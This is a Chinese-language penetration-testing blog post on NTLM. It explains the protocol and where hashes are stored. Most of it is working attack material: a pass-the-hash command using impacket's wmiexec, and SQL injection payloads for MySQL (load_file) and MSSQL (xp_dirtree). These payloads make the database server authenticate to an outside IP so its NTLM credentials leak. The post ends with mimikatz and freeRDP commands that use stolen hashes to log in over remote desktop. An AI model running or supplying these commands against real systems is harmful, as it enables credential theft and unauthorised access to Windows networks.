0%

NTLM相关利用总结

NTLM协议

NTLM是一套身份验证和会话安全协议,用于各种Microsoft网络协议(smb/ldap/http/mssql)实现中,并由NTLM安全支持提供程序(”NTLMSSP”)支持。

NTLM身份验证是一种质询-响应方案,由三个消息组成,通常称为类型1(协商),类型2(质询)和类型3(身份验证)。

upload successful

NTLM hash

Windows下存储的hash,即为NTLM hash,分别是LM Hash、 NT Hash

从Windows Vista 和 Windows Server 2008开始,默认情况下只存储NT Hash

工作组或本地环境中, NTLM hash存储在一个名为SAM的文件内,文件路径为:%SystemRoot%\system32\config\sam

域环境中, NTLM hash存储在域控制器NTDS.dit数据库

Pass_the_hash

参考:

https://en.wikipedia.org/wiki/Pass_the_hash

upload successful

简单的说就是,在使用NTLM的系统或服务上,只需要hash就可以模拟登录系统。

工具案例:

wmiexec

python:

https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

exe:

https://github.com/maaaaz/impacket-examples-windows

1
wmiexec -hashes 00000000000000000000000000000000:7ECFFFF0C3548187607A14BAD0F88BB1 TEST/test1@192.168.1.1 "whoami"

窃取NTLM hash

参考:

https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/

404的译文:https://paper.seebug.org/474/

新的渗透思路

根据前辈们的思路产生了一些新的渗透思路,更新了曾经对于一些入侵方式的盲区。如常规思路下常常遇到sql注入无法获取权限的情况,根据前辈们的思路可以获得以下入侵手法。

通过sql注入外带NTLM凭证,然后通过凭证去直接执行命令获取权限

mysql:

1
?id=1’ union select 1,2,load_file(‘\\\\192.168.0.100\\@OsandaMalith’),4;%00

upload successful

mssql:

1
';declare @q varchar(99);set @q='\\192.168.254.52\test'; exec master.dbo.xp_dirtree @q

参考前面窃取NTLM hash的手法,很多攻击手段可以实现直接获取凭证尝试pth

pth用于远程桌面

参考:

https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Pass-the-Hash-with-Remote-Desktop/

方法一:mimikatz

mimikatz命令如下

1
2
privilege::debug
sekurlsa::pth /user:administrator /domain:remoteserver /ntlm:d25ecd13fddbb542d2e16da4f9e0333d "/run:mstsc.exe /restrictedadmin"

upload successful

方法二:freeRDP

1
freerdp /u:administrator /pth:d25ecd13fddbb542d2e16da4f9e0333d /v:192.168.62.136 /cert-ignore

需要使用旧版freeRDP

https://labs.portcullis.co.uk/download/FreeRDP-pth.tar.gz

局限

需要目标机器开启Restricted Admin Mode

结语

参考链接 is important